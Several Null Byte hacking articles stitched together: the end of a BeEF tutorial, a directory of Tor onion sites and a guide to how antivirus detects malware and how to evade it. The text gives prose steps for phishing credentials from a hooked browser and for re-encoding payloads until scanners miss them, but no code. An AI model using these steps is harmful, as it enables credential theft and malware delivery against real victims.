and Native Client plugins; the components include webgl, webrtc, and websocket; and other interesting information.Step 6: Execute Commands in the BrowserNow that we have hooked the target's browser, we can execute some of the built-in modules from the "Commands" tab.There are over 300 modules, from browser hacks to social engineering, including, but certainly not limited to:Get Visited Domains (browser)Get Visited URLs (browser)Webcam (browser)Get All Cookies (extension)Grab Google Contacts (extension)Screenshot (extension)Steal Autocomplete (social engineering)Google Phishing (social engineering)When you find a module you want to use, select it, then click "Execute" under its description. As an example, I'm going to use the "Google Phishing" module in the "Social Engineering" folder.After executing it, a fake Gmail login page will appear in the hooked browser. The user may not think twice about inserting their username and password, and once they do, we log it. Afterward, they are directed back to Google's site as if they logged in regularly.To find the username and password we logged, just click on the command in theModule Results Historycolumn. For me, I see "hfhfhf" as the user and "sdliasdflihasdflh" as the password. You can also view this information from the "Logs" tab.Don't Miss:Phish for Social Media & Other Account Passwords with BlackEyeIf we wanted to, we could customize the URL that the Google Phishing module uses, in case you want to use something more believable than the old-style Gmail interface.Once we have the browser hooked, there are almost unlimited possibilities of what we can do. You could even leverage BeEF for operating system attacks. For more examples of what BeEF can help you accomplish, such as gaining access to the webcam and monitoring keystrokes, check out ourCyber Weapons Labvideo above.BeEF Is a Powerful Web Browser Attack ToolBeEF is an extraordinary and powerful tool for exploiting web browsers, and it's a terrifying example of why you should never click on suspicious links. Even if things look fine, you should be really careful with anything that pops up in your browser for permission to access your webcam or audio or that needs you to enter in account credentials.Don't Miss:Track a Target Using Canary Token Tracking LinksWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Justin Meyers/Null ByteRelatedHack Like a Pro:How to Get Facebook Credentials Without Hacking FacebookHow To:Take Pictures Through a Victim's Webcam with BeEFHow To:Phish Social Media Sites with SocialFishHow To:Use BeEF and JavaScript for ReconnaissanceHow To:Got Beef? Getting Started with BeEFHow To:Hack web browsers with BeEFHow To:Hook Web Browsers with MITMf and BeEFHack Like a Pro:How to Hack Facebook (Same-Origin Policy)News:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)How To:This LastPass Phishing Hack Can Steal All Your Passwords—Here's How to Prevent ItHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyExploiting XSS with BeEF:Part 2How To:Find Vulnerable Webcams Across the Globe Using ShodanHow To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow To:Use beEF (Browser Exploitation Framework)How To:Use WhatsApp on Your Mac (A Guide for Both Android & iPhone Users)How To:Import, Transfer, & Password-Protect Photos & Videos on Your iPhoneHow To:Use the Internet Explorer 7 phishing filterSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingHow To:Reveal Saved Browser Passwords with JavaScript InjectionsNews:Catch Creeps and Thieves in Action: Set Up a Motion-Activated Webcam DVR in LinuxLockdown:The InfoSecurity Guide to Securing Your Computer, Part IINews:In Just a Clik, Turn Your Smartphone into a YouTube Remote for Any Web DisplayGHOST PHISHER:Security Auditing ToolNews:Kinect as a web browser controllerAtomic Web:The BEST Web Browser for iOS DevicesHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block ItNews:3 Unique Alternative Web Browsers for Your iOS Device
The Top 80+ Websites Available in the Tor Network « Null Byte :: WonderHowTo
There are nearly100,000 unique onion service addressesonline withover two million peopleusing Tor every single day. Join me as I explore a small fraction of what the Tor network has to offer.It's puzzling to imagine about 100,000 .onion websites in existence. Readers who use Tor daily might think this number is inaccurate or exaggerated, but it's important to remember that the Tor network isn't comprised solely of HTTP web servers.There are tens of thousands of SSH, FTP, SMTP, Bitcoin, XMPP, Ricochet, and IRC servers using onions for anonymity or convenience. The majority of these servers arepassword-protectedor not publicly disclosed, therefore can't be accessed by all.Don't Miss:Detect Misconfigurations in 'Anonymous' Dark Web SitesWe also have to take into account the estimated two million users accessing Tor every day. If just five percent of Tor users created an .onion service in the last 24 hours, that's over 100,000 unique onion addresses. Suddenly, 100,000 .onion services doesn't seem unrealistic anymore.Who Is Using Tor?Tor has been endorsed by theEFF,The Guardian,Forbes, andGizmodo, and Null Byte frequently encourages it forbrowsingorhosting. The misconception that Tor is only used by criminals is completely false. So who are these two million users accessing the Tor network every day?According to Tor:Normal people. The two most common reasons regular people use Tor is to circumvent censorship and broad mass surveillance. World news, culture, health issues, religions, and other types of information can be locked behind a national firewall that Tor can break through. Also, internet service providers (ISPs) sell our browsing records to marketers or anyone willing to pay for it, and Tor can help prevent that.Journalists and their audience. "Tor is part ofSecureDrop, an open-source whistleblower submission system that media organizations can use to securely accept documents from and communicate with anonymous sources.Many reputable news organizationsuse SecureDrop."Law enforcement officers. Tor allows law officers to engage in online "undercover" operations to catch drug dealers, hackers, and criminals. It also makes it possible to accept tips more anonymously about criminal actions.Activists and whistleblowers. "Human rights activists use Tor to anonymously report abuses from danger zones. Internationally, labor rights workers use Tor and other forms of online and offline anonymity to organize workers in accordance with the Universal Declaration of Human Rights. Even though they are within the law, it does not mean they are safe. Tor provides the ability to avoid persecution while still raising a voice."I'll be talking about a handful of .onion web servers that are publicly accessible. Some of the featured sites are also available as normal (clearnet) sites and accessible without the Tor network. My goal when compiling this list wasn't to scour the darknet for the strangest, scariest, and most unusual websites online, but rather to find the most useful and practical .onions that users can actually utilize on a day-to-day basis to improve their anonymity in this age of mass surveillance.Disclaimer: No website featured in this article has been verified as legitimate. Users should proceed with caution when viewing any website or download anything on the internet. Furthermore, these are not endorsements for any particular .onion website or service. All websites were discovered via the open internet and various .onion directories.1. Tor Network Search Engines (6)There are many search engines that allow users to search for content in the Tor network. Much like Google, these search engines index other .onion websites and add them to a private database.Candle: A minimalist .onion service search engine without support for parentheses, Boolean operators, or quotes; You just use words and that's it.Grams: Searches markets only for labor, digital, and physical items you can purchase with Bitcoin and other currencies.Haystack: Searches .onion services and claims to have 1.5 billion pages indexed in its database from 260,000 websites (which includes .onion websites that no longer exist).Not Evil: Search engine with an index of over 32 million .onion links.Torch: Search engine with 450,000 indexed .onion services.Tor Onionland: Search engine with over 57,000 .onion websites discovered and nearly 5 million indexed pages.2. Internet Search Engines (3)Google's collection and aggregation of user datathrough the various tools (Google Analytics, Google Fonts, etc.) enable's them to determine a user's route through the internet by tracking IP addresses and cookies (cross-domain tracking). However, there are several privacy-focused search engines available that allow users to query the web anonymously without linking searches to their Google account or identity.Below are just some example .onionclearnetsearch engines that allow users to anonymously find resources on the internet.DuckDuckGo: A Google-like internet search engine dedicated to protecting user privacy.SearX: A highly customizable, meta-search engine. This means it queries dozens ofothersearch engines simultaneously to produce the best possible results. There areover one hundred available search enginesavailable to Searx including DuckDuckGo, Bing, and StartPage. Best of all, Searx supportsoperators(aka "Google Dorks") for advanced search queries.TPB: An index of digital content of software and media. TPB allows visitors to search and download content at no cost.3. Security & Privacy (8)These resources provide helpful guides for protecting ourselves from electronic surveillance. Many of the guides will be useful to people with little technical knowledge, while other resources are aimed at audiences with considerable technical expertise with privacy and security concepts. Some of these .onions provide useful information for evading surveillance and improving operational security (OPSEC).GnuPG: Also known as GPG, this allows users to cryptographically sign and encrypt data and communications. The GnuPG website providers excellent documentation and how-to tutorials.OnionShare: An open-source tool that allows users securely and anonymously share a file of any size using the Tor network.OpenPGPKeysever: A PGP keyserver that will enable users to anonymously acquire keys for secure communications as well as download verifications.Privacy International: A London-based charity that challenges government powers by advocating for strong digital protections and human rights.Security in a Box: Offers how-to instructionals to help users install and use the essential digital security software and services.SKS OpenPGP: Another PGP keyserver that allows users to anonymously acquire keys for secure communications as well as download verification.TorProject: A network of volunteer-operated servers that helps organizations and individuals to share information anonymously.Whonix: An .onion where users can interact with developers and other members of the privacy community viaits forum. It also hosts a lot of OPSEC guides.4. Pastebins (6)Pastebin's are useful for publicly (or privately) sharing code and data with friends and colleagues. Unlikepastebin.com, most pastebins found in the Tor network automatically delete pastes after several weeks.DeepPaste: A simple pastebin that offers self-destructing pastes and claims never to delete or censor them.Felixxx: Little is known about Felixxx, but it's another option you can use.Riseup Paste: Pastes are automatically deleted within a week and cannot exceed 50 MB in size.Pasta: An open-source pastebin with a 10 MB upload size limit and self-destructing features.Stronghold Paste: Created bySayak Banerjee, an open-source pastebin web application and among the most popular and longstanding .onion pastebins.ZeroBin: A minimalist, open-source pastebin. Pastes are encrypted on the ZeroBin servers so the systems administrators cannot read your content.5. News (4)Internet access is highly restricted in certain countries, so the ability to access news outletscan be extremely difficult for some.Dark Web News: A resource for dark web news, anonymity tools, and .onion links.Deepdotweb: Primarily dark web news related to arrests of criminals abusing Tor resources.The New York Times: This news site madeheadlines in October 2017when they announcednytimes.comwould be available as a Tor .onion service.Propublica: A nonprofit and independent collective of journalists that covers a range of topics such as technology, government, business, criminal justice, the environment, and immigration.6. Email (7)There areseveral reasonswhy people might want to access their email over Tor. Routing traffic through the Tor network makes it difficult for an adversary wiretapping internet connections to know what you're doing online. Tor also hides your true IP address and location from the email provider itself.Confidant: An open-source, spam-resistant alternative to regular email. Email messages are stored encrypted so the Confidant administrators cannot access any message contents.Daniel Email: A free and anonymous email provider that allows up to 25 MB of email storage on their servers.Elude: User accounts feature encrypted storage of email messages with a web client only accessible using the Tor network.GuerrillaMail: A free, anti-spam, disposable email address service.Mailpile: A modern web client with integrated PGP encryption features that makes securing email communications simpler.ProtonMail: An open-source and easy-to-use email client with a modern web interface. All emails between ProtonMail clients are automatically encrypted.Riseup: Riseup is a Seattle-based collective that supports freedom of expression and combats oppression. Their email service is accessible using the Tor network.7. Blogs & Personal Sites (4)There are many .onion service developers and enthusiasts that regularly publish their research and discoveries on their personal blogs.drksh: A hackers personal blog and Git repository.Jamie Scaife: Provides blog posts on using public Wi-Fi securely, website encryption, .onion services, operating system reviews, and Linux installation guides.Sarah Jamie Lewis:Sarahhas contributed to several projects such asOnionShare(listed above in theSecurity & Privacysection),Ricochet, and a large body of research that helps Tor developers better understand the Tor network and .onion services.Traudt: A Naval Research Lab researchers' personal blog that covers Tor development and general internet topics.8. Libraries (3)Most libraries found in the Tor network allow for unlimited downloads without restrictions. This can be very liberating forpeople in many countries. However, it can also be illegal. The sites below list public domain content, unlicensed shared content, Creative Commons content, and other freely available media. However, some of it may be lifted from elsewhere, so be cautious and make sure to pay for items in a way where the original company or author gets their payday. We don't condone piracy.Comic Books: Lists a ton of downloadable comics that have lost their copyright and have hit the public domain. However, there may be copyrighted material here too, so be careful to avoid that.Imperial: An open-source,DRM-freerepository of ebooks with the ability to upload books to the website to help grow the collection. Again, there may be copyrighted material here, so watch out.Z-Library: Z-Lib is the self-proclaimed "world's largest ebook library," with over 3.4 million books readily available for download. Yet again, there may be copyrighted material here, so watch out.9. Social (8)Signing up anonymously with social networks like Facebook can be extremely difficult. This is primarily why many Tor network social networks are created. With the ability to register anonymously, they allow users to communicate freely.Cyph Messenger: An open-source video chat and file transfer solution comparable to services like Skype.DNM Avengers: A forum for drug market discussions and reviews.Dread: A Reddit-like community for drug market discussions and reviews among other internet-related topics.Facebook: Tor network access to the most significant social network in the world.Hidden Answers: One example of a Stack Overflow-like platform that allows people to anonymously ask questions related to hacking, security and privacy, cryptography, marketplaces, government, and more. First appearing in themiddle of 2015, they're one of the veteran onion services still available today.Smuxi: A free, user-friendly chat (IRC) client.Suprbay: The official TPB forum.TheHub: A forum for drug market discussions, news, and operational security guides created by anonymous individuals.10. Hosting (10)There's no shortage of hosting services in the Tor network. There are hundreds of websites dedicated to hosting images, notes, files, pastebins, and entire .onion websites.Black Cloud: A file upload service that claims to keep files encrypted on their servers.Daniel Uploads: An upload service with a 10 GB maximum file size limit. Uploaded content is publicly viewable.dhosting: A free and anonymous website hosting service. This service provides support for PHP, MySQL, FTP, and custom .onion addresses.Felixxx: An image hosting services with 30 days of storage time before content is purged from their servers.Image Hosting: A free image hosting service with no time limit. Files that exceed 5 MB in size are not allowed.Kowloon: A virtual private server hosting service with support for PHP, MySQL, PHPMyAdmin, encrypted server storage, customizable .onion domains, and up to 2 GB of storage.OnionContainers: Secure website hosting service with support for Nginx,PostgreSQL, and WordPress blogs.0ut3r Space: Uploaded files are automatically deleted from their servers after 14 days. Files must be smaller than 200 MB in size.PopFiles: A simple file hosting service with the ability to create custom URLs. Uploaded files must not exceed 500 KB.Riseup Etherpad: A highly customizable and open-source editor designed for real-time team collaborations.Don't Miss:How to Host Your Own Tor Hidden Service with a Custom Onion Address11. Operating Systems (3)There are a handful of privacy-focused operating systems that can be downloaded anonymously.Debian: The Debian project is a collective of individuals who are committed to providing a free and easy-to-use operating system.Qubes: A free and open-source, security-focus operating system. Qubes takes an approach called "security by compartmentalization," which allows users to separate the various parts of their digital lives into securely isolated compartments calledqubes.Whonix: An operating system designed for advanced privacy and security. Whonix users the Tor network andstream isolationto evade mass collection of internet traffic and user data. (Also appears in theSecurity & Privacysection above.)12. SecureDrops (4)SecureDropis an open-source whistleblower submission system news organizations can install to safely and anonymously receive documents and tips from sources. It is used at over 50 news organizations worldwide, including The New York Times, The Washington Post, ProPublica, The New Yorker, and The Intercept.The Guardian: A British daily newspaper outlet, named "Newspaper of the Year" four times at the annual British Press Awards, the most recent in 2014 for being among the first to report on government surveillance.The Intercept: Launched in 2014, The Intercept initially served as a platform to report on the documents released by Edward Snowden. They've since dedicated their efforts to what it describes as "adversarial journalism."NPR: An American nonprofit media organization. NPR serves over 1,000 public radio stations.VICE: A digital media content and broadcasting company which covers a variety of topics such as politics, entertainment, drugs, and technology.13. Bitcoin & Mixers (6)There's no such thing as a truly untraceable bitcoin (BTC) transaction. Mixers are used tomixyour BTC with other people's BTC, with the intention of obfuscating the trail back to its original source, aka you. When mixing BTC, your money is sent to an anonymous service and they essentially send you other people's BTC for the same amount. Mixers may aid in making transactions more difficult for companies and authorities to track.Disclaimer: I'd like to remind readers that none of the .onions featured in this article have been verified as legitimate. Proceed with extreme caution when "anonymizing" bitcoin with mixers.Bitblender: Claims to have low, randomized fees, a bonus program, referral program, two-factor authentication with PGP, up to five simultaneous deposit addresses, fast processing, no saving of logs, and auto-withdrawal.BitCloak: Has a free API. Also randomizes fees at around two percent, though there is also a 0.0004 bitcoin fee for each payout address.Blockchain: Not much is known about Blockchain yet.CryptoMixer: Instant mixing, no logs, a minimum transaction size of .001 BTC, referral program, andvariable feesdepending on the size of the transaction.Elude: The service fee is set randomly between 1–3% from total amount.PrivCoin: A mixing service with support for a variety of cryptocurrencies.14. Miscellaneous (12)TorMetrics is just one of many useful sites provided byTheTorProject,Debian, andRiseup. There are too many categories and obscure websites to cover in this article. Below is a variety of websites accessible over Tor that readers may find interesting.CloudFlare: A privacy-focused DNS resolver that pledges to never sell or abuse user data.ExpressVPN: A VPN provider.ExoneraTor: A database containing IP addresses that are (or have been) associated with the Tor network.Fingerprint Central: A browser fingerprinting tool designed to help developers better defend against browser de-anonymization techniques.jRAT: A cross-platform malware. (Currently offline.)Keybase: A public key (GPG) database, private messaging application, and code-sharing (Git) service.Njalla: A privacy-focused domain name registar that allows anonymous registrations and cryptocurrency purchases.Ooni: An anti-censorship and anti-surveillance tool designed to observe and identify websites being blocked on a global scale.SMSPrivacy: An anonymous SMS service that allows users to register and purchase subscriptions with bitcoin.TorMetrics: An analytic tools designed to gather and visualize Tor network statistics to help developers understand traffic and patterns that occur in the network.Tor Nyx: A command-line tools that helps individual Tor users configure and access information about Tor instances running on their computers and servers.0day: An exploit database with exploits for sale that can be purchased with bitcoin.15. Onion Directories (6)The trick to maintaining a relevant list of active .onions is knowing the .onion crawlers and directories. Onion crawlers regularly scan their databases to identify which websites have gone offline. Onions offline for a prolonged period are actively removed from databases and omitted from the open directories.Below are a few directories for keeping up to date with the latest onions.CB3ROB: A database of nearly 4,000 active .onion services. (Currently offline.)Daniel's onions: A database of over 7,000 .onion services.Fresh Onions: An open-source database with over 5,000 unique .onion services listed.onionsoup: A curated selection of dozens of .onion services.UnderDir: A database of over 25,000 .onion services. Most are no longer online or accessible.VisiTOR: A database of over 5,000 .onion services.ConclusionMost .onion services disappear within hours of being spotted. This is likely the result of random individuals testing and experimenting with Tor. This is part of what makes .onion services unique and powerful for people who need to quickly share information anonymously. It's also what makes .onion services terrible for anyone seeking reliable, legitimate content. Anyone, anywhere in the world, with an inexpensive Android orRaspberry Pican anonymously cut out their own private corner on the internet — all without submitting personal information, signing up for a subscription, or paying a dime to third-party providers.If you have any questions or concerns, be sure to leave a comment below.Don't Miss:Fully Anonymize Kali with Tor, Whonix & PIA VPNFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Justin Meyers/Null Byte; Screenshots by distortion/Null ByteRelatedHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Access the Dark Web While Staying Anonymous with TorHow To:Hack TOR Hidden ServicesHow To:Use Private Encrypted Messaging Over TorTor for Android:How to Stay Anonymous on Your PhoneHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHow To:Is Tor Broken? How the NSA Is Working to De-Anonymize You When Browsing the Deep WebNews:Use ProtonMail More Securely Through the Tor NetworkNews:Reality of VPNs, Proxies, and TorHow To:Become Anonymous & Browse the Internet SafelyHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHow To:Fully Anonymize Kali with Tor, Whonix & PIA VPNHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:Access Deep WebNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:Anonymity Networks. Don't use one, use all of them!Tor vs. I2P:The Great Onion DebateNews:Feds arrest several in connection to Drugs on Tor networks 'Silk Road'Anonymous Browsing in a Click:Add a Tor Toggle Button to ChromeEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkHow To:Use Tortunnel to Quickly Encrypt Internet TrafficHow To:Become Anonymous on the Internet Using TorHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosNews:Fotoblur Magazine Photographic Art Competition - Deadline January 31, 2011News:THE STREAM - Top 4 80's TV Show MoviesNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetNews:Make an "On/Off" Tor Button for ChromeHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningWeekend Homework:How to Become a Null Byte Contributor (3/2/2012)How To:Hack Wireless Router Passwords & Networks Using HydraHow To:Search for Google+ Posts & Profiles with Google
Hack Like a Pro: How Antivirus Software Works & How to Evade It, Pt. 1 « Null Byte :: WonderHowTo
Welcome back, my tenderfoot hackers!As hackers, we often are required to get past antivirus (AV) software or other security measures. To do so effectively, we need to have some understanding of how AV software works. In this tutorial, we will take a cursory view of how AV software works so that you can better strategize on how toevade detection by it.The antivirus software industry is huge and well-funded. As you would expect, they employ a large number of malware detection and identification personnel. (I will use the preferred term "malware" to mean all bad or malicious software including viruses, spyware, rootkits, worms, etc.)Many of these people have a hacker or virus-making background, so the things we are doing here are not mysterious to them. (Eugene Kaspersky, the founder Kaspersky Labs, is rumored to have worked at one time as a hacker/cryptographer for Russia's KGB. Many others in the industry have a background in virus/worm creation.)The AV industry attempts to collect as much information as they can about threats new and old and package that information into their software. The older a tool or technique is, the greater the chance they will have a mechanism to detect it.Types of AV Detection Mechanisms:Signature-BasedThe key to making good AV software is to have a complete database of all malware signatures. These signatures are the essential part of the malware that distinguishes it from other software. That's why its key for users to keep those databases updated daily. As new malware is introduced daily into the wild, an out-of-date database of signatures can become nearly useless.For a better concept of what these signature databases are like, you might take a look atSnort, an open-source IDS that detects malware and attacks on the wire. The beauty of working with Snort is that its signature database is open and viewable to anyone.In the screenshot below, you can see some of the rules or signatures from theweb-attacks.rulesfile from Snort. To better understand malware signatures, you may want to take some time to study these "signatures." It's important to note that these rules don't look for the entire file, but simply the single element of the malware that is unique or its "signature." Obviously, this is much more efficient.The AV software companies maintain individuals and honeypots around the world that are constantly searching for new malware, and when they find it, they try to condense its signature down to the essentials. In addition, they have users all over the globe who send them suspicious malware they find.These signatures, as I'm sure you guessed, are only effective on known malware. A zero-day attack wouldnothave a signature and therefore would likely go undetected by the antivirus software.One of the exceptions to this is that some malware production tools leave a signature on their output, so even a new piece of malware might be detected by AV if the tools used to create it have a signature that the AV developers have identified and coded for. A good example of this that many of you have found is themsfvenommodule inMetasploit. The template that creates the payloads has a signature, so no matter how we re-encode our payload, it still has a known signature. The key to defeat the AV with this module is to use a new template.HeuristicsIn some cases, it is not possible to have a signature for all malware, and in those cases, the AV developers attempt to deploy heuristic techniques to detect malware.Wikipediadefinesheuristic techniques as "...any approach to problem solving, learning, or discovery that employs a practical methodology not guaranteed to be optimal or perfect, but sufficient for the immediate goals. Where finding an optimal solution is impossible or impractical, heuristic methods can be used to speed up the process of finding a satisfactory solution."James Whitcomb Riley once said, "When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck." That principle summarizes heuristics succinctly. If it looks like malware and behaves like malware, it's probably malware.The AV software developers look for telltale signs that the software's structure or behavior is malicious and then treat it like malware, even if no signature exists. For instance, if a file begins to replace several system files, it's probably malware. If a piece of software is trying make a TCP connection back to a known malicious IP address, it's probably malware. The beauty of this strategy is that it works with zero-day malware just as well as known malware. The drawbacks of this strategy are that it requires more compute cyclesandthe false positives that are often produced by innocuous software.Behavior-BasedSome people create a separate category of behavior-based malware detection, but I consider it to be a subcategory of heuristics. Behavior is part of the "walks like a duck" mentioned above.SandboxIn some cases, suspicious software can be run in a virtual machine environment to see what it will dobeforeit is installed on the system. This is referred to as "sandboxing." In this way, the AV software can study what it does or tries to do and then determine whether it is safe without endangering the entire system.Image viaLowe'sDue to the time and resources necessary, this isn't a practical way of dealing with all software and files, but for particularly suspicious ones, it can be effective.Evading AV Software:First, let's state clearly that AV software isnotperfect. Even with all their resources and skill, they still miss known malware. Depending what package you are using, detection of known malware can be as low as 40% and as high as 98 percent. Even in this best case scenario, that means that 1 out of 50 pieces ofknownmalware gets past the AV software.MsfvenomAs most of you know,msfvenomis a module in Metasploit that enables us to re-encode our payloads to evade AV software. Due to the ubiquity of Metasploit, as soon as a new encoding scheme is developed by Metasploit, the AV makers jump on it and produce a signature (they would be foolish if they didn't).As I mentioned above, the AV makers don't really need to have a signature for every re-encoding bymsfvenom, they only need a signature for the template. This means thatmsfvenomhas limited effectivenesswithout an original template.Testing Your Malware with Virus TotalIf you want to test whether you malware, rootkit, virus, or whatever will be detected by AV software, you can submit it toVirusTotal, which will use over 60 commercial software packages to determine whether your malware will be detected. You can keep re-encoding your malware until VirusTotal indicates it will not be detected.Unfortunately, if you are successful in being undetected by any of these AV packages, VirusTotal will present your malware to the AV industry to develop a signature. Despite this, there will still be a window before the AV developers add the signature and the end users update their signature database.Veil EvasionVeil-Evasionis a software package for changing the signature of your payload executables so that they can bypass AV software. Veil is now in the Kali repository and can be installed simply by typing:kali > apt-get install veilI will be doing a tutorial on its use in the near future.Web Mail DetectionMany of you have struggled sending malware via web-based mail, such Gmail, Yahoo, Hotmail, etc. Of course, those companies maintain their legitimacy by deploying one of the major AV companies to scan any attachments you might try to send. In most cases, trying to send a maliciousPDF,Word document, or other file will likely be detected by these services and stopped.One of the beauties of using a Linux distribution is the ability to set up your ownSMTP serverand use it to send your email. There are numerous SMTP servers available for Linux that you can download and install includingatmail,Exim,qmail,Postfix, andsendmail. Look for my tutorial coming soon on installing the Exim SMTP server in myLinux Basics series.Having your own SMTP server would resolve any issues withsendingmalicious payloads but, of course, will not resolve issues on the receiving end.Build Your OwnUltimately, the best way to evade AV and other security devices is to build your own exploit/payload. That is our goal in myExploit Building series, where we are working to develop our own unique exploit that will be undetectable by any AV or security device.Keep coming back, my tenderfoot hackers, as we explore more ways to evade security and build our own exploits!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHacking macOS:How to Create an Undetectable PayloadHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 2 (Dissecting ClamAV)Hack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)How To:Remove the Palladium Pro rogue malware from your computerHack Like a Pro:How to Evade AV Software with ShellterHow To:Remove Antivirus Pro from your computer with SpyhunterHow To:Watch This Sunday's 2013 Pro Bowl Football Game OnlineHow To:Remove AntiVirus Pro from your computerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)News:Samsung Preinstalls McAfee Bloatware on Your S8 & It's Neither Great nor FreeHacking Windows 10:How to Break into Somebody's Computer Without a Password (Exploiting the System)Advice from a Real Hacker:How to Know if You've Been HackedHow To:The Definitive Guide to Android MalwareHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerNews:What to Expect from Null Byte in 2015Hack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)How To:Android's Built-In Scanner Only Catches 15% of Malicious Apps—Protect Yourself with One of These Better AlternativesNews:iOS 11.2 Released to the Masses with Bug Fixes, Apple Pay Cash & More New FeaturesHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 3 (Creating a Malware Signature in ClamAV)News:What does Pro Tools HD Native mean for you?Lockdown:The InfoSecurity Guide to Securing Your Computer, Part INews:2,000 FREE Scrabble Apps (iOS) from EA on Facebook & Twitter — ENDS TODAY!WTI:The Hangover Pt. 2How To:Keep Stroke Patients Active at Home w/ Wii FitNews:Oscar Week '11 Predictions with Mike 'The Greek' - Pt. 03Levitation Challenge:Evading ArrestThe Film Lab:Interview - Jacob Medjuck Pt. 02News:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateWindows Security:Software LevelNews:Oscar Week '11 Predictions with Mike 'The Greek' - Pt. 04News:Oscar Week '11 Predictions with Mike 'The Greek' - Pt. 04News:Oscar Week '11 Predictions with Mike 'The Greek' - Pt. 01News:Oscar Week '11 Predictions with Mike 'The Greek' - Pt. 02News:Oscar Week '11 Predictions with Mike 'The Greek' - Pt. 01
Prep for a Lucrative Project Management Career with These Courses « Null Byte :: WonderHowTo
More and more tech-savvy leaders are flocking to the lucrative and exciting world of project management thanks to the high-pay, analytical environment, and nearly unparalleled flexibility. But this means that competition for the best positions in this dynamic field is fierce. If you want to stand out from the crowd, you're going to need to have more than a few base-level certifications on your résumé.TheAccredited Agile Project Management Bundle by SPOCEwill help you earn some of project management's most powerful and coveted certifications so you can outpace the competition, and it's currently available for over 90% off at $99.Through easy-to-follow lessons that revolve around real-world examples and hands-on exercises, this extensive bundle grants you unlimited access to a trove of instructional material that will help you land the AgilePM®, PRINCE2®, and PRINCE2 Agile® certifications — three must-have credentials for aspiring senior-level project managers.As one of the world's leading project management frameworks, AgilePM has earned its reputation as being a supremely versatile and adaptable methodology that's used to inspire teams, cut costs, innovate solutions to complex problems, and more.Through 100 hours of in-depth content, this bundle walks you through every element of this ubiquitous framework — with lessons that cover inspiration, leadership, analytics, and more — so you'll be able to ace the exam for the certification on your first try.There's also extensive instruction that teaches you about PRINCE 2 (a highly structured method that's used by leading project managers to divide massive projects into easily-controllable stages quickly), and a separate course details the various ways in which AgilePM® and PRINCE2® can be combined to multiply your results in the workplace.Throughout your training, you'll have access to a wide range of helpful resources that make it easy to hit your goals, along with every content update the moment it's added to the bundle.Get the skills and know-how you need to become an in-demand project manager with the Accredited Agile Project Management Bundle by SPOCE while it's available forjust $99— over 90% off its usual price today.Prices are subject to change.Get the Skills:The Accredited Agile Project Management Bundle by SPOCE for $99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual 